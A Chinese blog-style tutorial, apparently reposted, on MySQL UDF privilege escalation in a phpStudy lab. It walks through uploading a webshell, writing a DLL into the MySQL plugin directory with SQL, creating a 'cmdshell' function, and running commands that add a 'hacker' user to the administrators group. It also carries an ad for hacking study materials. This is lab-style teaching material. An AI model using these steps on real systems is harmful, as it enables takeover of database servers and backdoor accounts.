数据库提权-UDF提权

2022-06-17|

UDF提权

UDF(User Defined Function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。

UDF可以理解为MySQL的函数库,可以利用UDF定义创建函数(其中包括了执行系统命令的函数)

提权条件:

1、MySQL中支持UDF扩展,使得我们可以调用DLL里面的函数来实现一些特殊的功能

2、掌握mysql数据库的账户,从拥有对mysql的insert和delect权限,以创建和删除函数

3、拥有可以将udf.dll写入相应目录的权限。

1、环境准备

1)将phpstudy中的服务变为系统服务

【——全网最全的网络安全学习资料包分享给爱学习的你,关注我,私信回复“领取”获取——】

1.网络安全多个方向学习路线

2.全网最全的CTF入门学习资料

3.一线大佬实战经验分享笔记

4.网安大厂面试题合集

5.红蓝对抗实战技术秘籍

6.网络安全基础入门、Linux、web安全、渗透测试方面视频

2)将apache降权为普通用户

创建普通用户

选择普通用户登录

3)将apache用户赋予phpstudy目录的读写权限

重启apache服务

4)修改mysql配置文件,并重启mysql服务

修改mysql配置文件

重启mysql服务

2、访问网站目录,上传木马文件

3、连接蚁剑

连接蚁剑

4、打开虚拟终端

打开虚拟终端

5、查看当前用户

查看当前用户

6、进入数据库操作

连接数据库

连接成功

7、查看数据库版本

select version();

查看数据库版本

8、查看mysql导出路径

show variables like "%plugin%";

查看mysql导出路径

9、选择test库,创建一个表

create table my_udf_data(data longblob);

创建一个表

10、插入数据

insert into my_udf_data values(0x4d5a........); //内容过长

插入数据

11、写入dll文件

select data from my_udf_data into dumpfile 'C:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin\\myudf.dll';

注意:如果没有plugin目录,需自己创建

写入dll文件

12、创建自定义函数

create function cmdshell returns string soname "myudf.dll";

创建自定义函数

13、查看当前用户

select cmdshell('whoami');

查看当前用户

14、添加新用户

select cmdshell('net user hacker admin@123 /add');

添加新用户

15、将新用户添加到管理员组

select cmdshell('net localgroup administrators hacker /add');


标签: 函数 用户 mysql 创建 查看 UDF 定义 数据库 文件 可以
出处: https://www.toutiao.com/article/7110034022621266432/

文明发言,请先登录

文明上网理性发言,请遵守国家法律法规。

最新评论

©2003- 黑基网 黑名单存档手机版网站地图免责条款法律声明隐私保护